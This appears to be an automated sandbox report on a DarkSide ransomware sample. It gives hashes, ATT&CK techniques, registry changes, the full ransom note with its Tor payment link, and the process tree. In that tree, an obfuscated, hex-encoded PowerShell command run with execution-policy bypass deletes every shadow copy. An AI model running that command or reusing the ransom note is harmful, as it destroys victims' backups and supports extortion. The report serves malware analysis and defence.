darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
89s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 19:36

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General

Target

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Size

59KB
MD5

0e178c4808213ce50c2540468ce409d3
SHA1

38b5aa765026dffbb603e323333294b5f5efa5ee
SHA256

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d
SHA512

262a8f4808f6c3499c9eb465b480508ed6b082ddd36cf2e618a9455b5abbc2eb6a8d7b7c2f398faaa62ffb22599a8b2eec0d3137fdec648de37ac4a73e6f44f4
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylgoVHuY23W58:0x7Fu4/ihrhDTV1yljH5Z58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.95b288ea.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2 When you open our website, put the following data in the input form: Key: sWzBJoqqzL4Zn2RW3HUX03kMJd3SWd7m4wOpd3qUa7eex62poH0PPw7q8ONVepO7dEN6e5RAd7rcv5gHKhPV1uhNsHoV924TIKvNciRU1S0rZhklOZB2E3fcb6WquR9dJAbdA7WTO3bEaNproivkWdrzaYiIpn006YgPHpQbAPGJP7hiVtD8SBKSoie2u3ErPSC51J4jVLOqDj1nqdGnZjZGHyKE092eobTQ1AVRz6xa93AFD6YzLs8D5M1ixHXr6p3ft5xplmULrkaOCnSLMPolSLDUYYoSK37JhGkr4yPVRxwFTCuG8jUe83t2q19AZM9lcqC4Vly1Yyhhu4EHwk2S3AEJp27xrv0Ba4qlNY1P8tFdoh8yG4HSPX7qBMJ3Twk2NSSBzx4wV07gFVw4jSn1E5GF4y0OSz71wszVEolQWnM6MMCwoBPBCFEnSN4ehk1AKlR8QqjLXR9Qn2t0BHt3iUssq3uAq5JY4O8M9ZHw2bXlULA9hzxIlOYJtw5zuMqi8rvzMRmx5IRGKKorl4MPDpEyOr2fg5rMjn4axW6IKvxN3XecwB4 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (168) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\95b288ea.BMP"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\95b288ea.BMP"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\WallpaperStyle = "10"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Modifies registry class 5 IoCs

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.95b288ea	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.95b288ea\ = "95b288ea"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\95b288ea\DefaultIcon	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\95b288ea	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\95b288ea\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\95b288ea.ico"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

pid	process
4476	powershell.exe
4476	powershell.exe
3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSecurityPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeTakeOwnershipPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeLoadDriverPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSystemProfilePrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSystemtimePrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeProfSingleProcessPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeIncBasePriorityPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeCreatePagefilePrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeBackupPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeRestorePrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeShutdownPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeDebugPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSystemEnvironmentPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeRemoteShutdownPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeUndockPrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeManageVolumePrivilege	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: 33	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: 34	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: 35	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: 36	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeBackupPrivilege	5104	vssvc.exe
Token: SeRestorePrivilege	5104	vssvc.exe
Token: SeAuditPrivilege	5104	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	pid	process	target process
PID 3048 wrote to memory of 4476	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe	powershell.exe
PID 3048 wrote to memory of 4476	3048	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
"C:\Users\Admin\AppData\Local\Temp\533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5104

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
bb925cc5c32a817b61b5a68f00475ac2

SHA1
368bbcd93d46036334f385fe80a6315130a873f4

SHA256
cab89442f228f263a88d3db648093b2389fa2676ee3f95fccdd7c9574a8e1c11

SHA512
69688f4277b0dfdeca560166776ecc74ae2933d6808e849ac60e0eb2310333d37e6216edb23737459a0e2395594a1cd579bccd008499e08526393d96315b4634

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
991de10e06e7eb29dcf1800cbcae69ee

SHA1
48ff1e6d5efb6c0ac562f68ed971b24e9a7ad3bd

SHA256
dbef425ff00001cccdc2b5e2d0aac0022a366e3c2779613d8df9bd8c778e702c

SHA512
e9f703d14066091041f2fde4d03b4d5aa7bd292cf344bedc7d448946c3544ca72ee6621aceae7008ebde5d8c7e9dd81b2c927ac9194109240e2dee02486f10a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wlh3mp01.n1u.psm1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.95b288ea.TXT
Filesize
1KB

MD5
37aecb74544496ba55b7b5f845179642

SHA1
1f5ab1aba12fc3c26919f59a788381d9fbdbb0ee

SHA256
6bc3ec4b4807424a51807d1fb758939bc153ea8bd121217c8996fa45fc8c6181

SHA512
9c0321e528ae839ff160e63e920af69209ed7e90a8a36b4c4b95498dfd51bdb0ac58636d609284ee1d5527ccbed0f56e031c0f8f3adf6a385106e740396c2641

Download Submit
memory/4476-16-0x0000024FEEB30000-0x0000024FEEB52000-memory.dmp

Filesize
136KB

Download
memory/4476-19-0x0000024FEE0C0000-0x0000024FEE0D0000-memory.dmp

Filesize
64KB

Download
memory/4476-20-0x0000024FEE0C0000-0x0000024FEE0D0000-memory.dmp

Filesize
64KB

Download
memory/4476-18-0x0000024FEE0C0000-0x0000024FEE0D0000-memory.dmp

Filesize
64KB

Download
memory/4476-17-0x00007FFA54420000-0x00007FFA54EE1000-memory.dmp

Filesize
10.8MB

Download
memory/4476-23-0x00007FFA54420000-0x00007FFA54EE1000-memory.dmp

Filesize
10.8MB

Download